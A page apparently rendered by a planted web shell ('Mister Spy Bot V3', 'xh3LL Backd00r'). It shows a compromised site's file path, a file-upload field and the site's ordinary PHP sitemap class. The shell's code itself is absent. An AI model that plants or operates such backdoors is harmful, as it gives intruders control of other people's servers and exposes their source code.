Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.sitemaps.php

<?php 

require_once('class.dbaccess.php');
require_once('class.configuraciones.php');
require_once('class.sitemap.php');
require_once('class.sitemapgenerator.php');
require_once('class.filter.php');
require_once('class.page.php');

class Sitemaps extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		return $sql;
	}
	
	
	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblSitemaps";		
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY IdSitemap DESC";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oSitemap = new Sitemap();
			$oSitemap->ParseFromArray($oRow);
			
			array_push($arr, $oSitemap);
			
			$oRes->MoveNext();
		}	
			
		return $arr;
	}
	

	public function GetById($IdSitemap)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblSitemaps";
		$sql.= " WHERE IdSitemap = " . DB::Number($IdSitemap);	
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oSitemap = new Sitemap();
		$oSitemap->ParseFromArray($oRow);
		
		return $oSitemap;		
	}
	
	
	public function GetLast()
	{
		$sql = "SELECT *";
		$sql.= " FROM tblSitemaps";
		$sql.= " ORDER BY IdSitemap DESC";
		$sql.= " LIMIT 1";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oSitemap = new Sitemap();
		$oSitemap->ParseFromArray($oRow);
		
		return $oSitemap;		
	}	


	public function GetDaysSinceLastMap()
	{
		$sql = "SELECT TIMESTAMPDIFF(DAY, Fecha, NOW()) AS Dias";
		$sql.= " FROM tblSitemaps";
		$sql.= " ORDER BY IdSitemap DESC";
		$sql.= " LIMIT 1";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		if (!($oRow = $oRes->GetRow()))
			return false;

		$Dias = $oRow['Dias'];
		
		return $Dias;
	}	
	

	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblSitemaps";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	private function Create()
	{
		$oSitemap = new Sitemap();
		$oSitemap->Fecha = date('Y-m-d H:i:s');
		$oSitemap->Nombre = 'sitemap.xml';
	
		$arr = array
		(
			'Fecha' 	=> DB::Date($oSitemap->Fecha),
			'Nombre' 	=> DB::String($oSitemap->Nombre)
		);
				
		if (!$this->Insert('tblSitemaps', $arr))
			return false;
			
		$oSitemap->IdSitemap = DBAccess::GetLastInsertId();
			
		return $oSitemap;
	}
	
	
	public function Delete($IdSitemap)
	{
		$where = " IdSitemap = " . DB::Number($IdSitemap);

		if (!DBAccess::DeleteEntidad('tblSitemps', $where))
			return false;

		return true;	
	}
	
	
	public function GenerateSitemap()
	{
		if (!$this->Create())
			return false;
	
		/* generamos el indice de sitemaps */
		SitemapGenerator::BuildIndexMap();
	}
	
	
	public function Initialize()
	{
		/* obtenemos informacion de configuracion del sitio */
		$oConfiguraciones = new Configuraciones();
		$oConfiguracion = $oConfiguraciones->GetRow();

		/* obtenemos la cantidad de dias que pasaron desde el ultimo sitemap generado */
		$DaysSinceLastMap = $this->GetDaysSinceLastMap();
		
		if ($DaysSinceLastMap >= $oConfiguracion->DiasGeneradorSitemap)
			Sitemaps::GenerateSitemap();
		elseif ($DaysSinceLastMap === false)
			Sitemaps::GenerateSitemap();		
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat